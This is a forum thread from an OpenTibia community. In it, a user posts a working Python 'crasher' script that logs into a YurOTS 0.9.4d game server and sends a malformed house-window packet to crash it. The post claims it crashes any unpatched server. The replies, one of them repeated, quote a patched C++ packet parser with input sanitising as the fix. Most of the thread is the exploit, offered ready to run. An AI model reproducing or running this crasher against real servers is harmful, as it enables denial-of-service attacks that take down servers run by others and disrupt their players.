• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

OpenTibia Yurots crasher

Vizjus

Banned User
Joined
Nov 13, 2018
Messages
266
Reaction score
59
Location
TheForgottenServer
Python:
#!/usr/bin/env python
# -*- encoding=utf8 -*-
__author__ = 'Piotr "Kiro" Karkut'
__license__ = "BSD"

import socket
from struct import *
from time import sleep
import os

dane = ("selora.eu",123432,"lol123","Kiro")

def addMessageLenght(msg):
    retLen = len(msg);
    ret = msg
    ret = chr(retLen % 256)+chr(retLen / 256) + ret
    return ret

def addString(str):
    strLen = len(str)
    ret = chr(strLen % 256)+chr(strLen / 256) + str
    return ret
    
def getU32(num):
    return pack("<l",num)
    
def getLoginPacket(num, pswdm, char):
    msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
    msg = msg + getU32(num)
    msg = msg + addString(char)
    msg = msg + addString(pswdm)
    msg = addMessageLenght(msg)
    return msg
    
def kill(tab):
    print u">    Łączenie do", tab[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((tab[0], 7171))
    
    print ">>   Logowanie"
    s.send(getLoginPacket(tab[1],tab[2],tab[3]))
    sleep(1)
    re = s.recv(1024)
    if len(re) == 0 or re[2] == 0x14:
        print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
        return
    print ">>>  ATAK"
    s.send(addMessageLenght(chr(0x8a)))   
    sleep(1)
    
    print u">>>> Rozłączenie"
    s.close()
    print "::Atak przeprowadzony"

if __name__ == "__main__":   
    os.system("cls")
    print "::Simple crasher by Kiro\n"
    try:
        kill(dane)
    except socket.error:
        print u"::Nie można się połączyć!"
this code will crash any yurots 0.9.4d that didnt update houseParseWindow just type ip acc pass char name in dane = ("selora.eu",123432,"lol123","Kiro")
 
It is true.
C++:
void Protocol76::parseHouseWindow(NetworkMessage& msg)
{
    msg.GetByte();
    uint32_t id = msg.GetU32();
    std::string new_text = msg.GetString();

    if(player && windowTextID == id){  
        player->receiveHouseWindow(deleteSpecialCharacters(new_text));
    }
}
Code:
std::string deleteSpecialCharacters(std::string originalString)
{
    for(int i = 0; i < (int)originalString.size(); i++){
        int sign = (int)originalString[i];
        bool isSpecial = sign == 10 || sign == 32 || sign == 46; // enter, spacebar, dot
        bool isNumber = sign >= 48 && sign <= 57;
        bool isLetter = (sign >= 65 && sign <= 90) || (sign >= 97 && sign <= 122);
        bool isAllowed = isSpecial || isNumber || isLetter;
        if(!isAllowed){
            originalString[i] = ' ';
        }
    }
    return originalString;
}
Value types may vary. I have upgraded my engine higher than 7.6
 
It is true.
C++:
void Protocol76::parseHouseWindow(NetworkMessage& msg)
{
    msg.GetByte();
    uint32_t id = msg.GetU32();
    std::string new_text = msg.GetString();

    if(player && windowTextID == id){ 
        player->receiveHouseWindow(deleteSpecialCharacters(new_text));
    }
}
Code:
std::string deleteSpecialCharacters(std::string originalString)
{
    for(int i = 0; i < (int)originalString.size(); i++){
        int sign = (int)originalString[i];
        bool isSpecial = sign == 10 || sign == 32 || sign == 46; // enter, spacebar, dot
        bool isNumber = sign >= 48 && sign <= 57;
        bool isLetter = (sign >= 65 && sign <= 90) || (sign >= 97 && sign <= 122);
        bool isAllowed = isSpecial || isNumber || isLetter;
        if(!isAllowed){
            originalString[i] = ' ';
        }
    }
    return originalString;
}
Value types may vary. I have upgraded my engine higher than 7.6
ok, thanks bro
 
Back
Top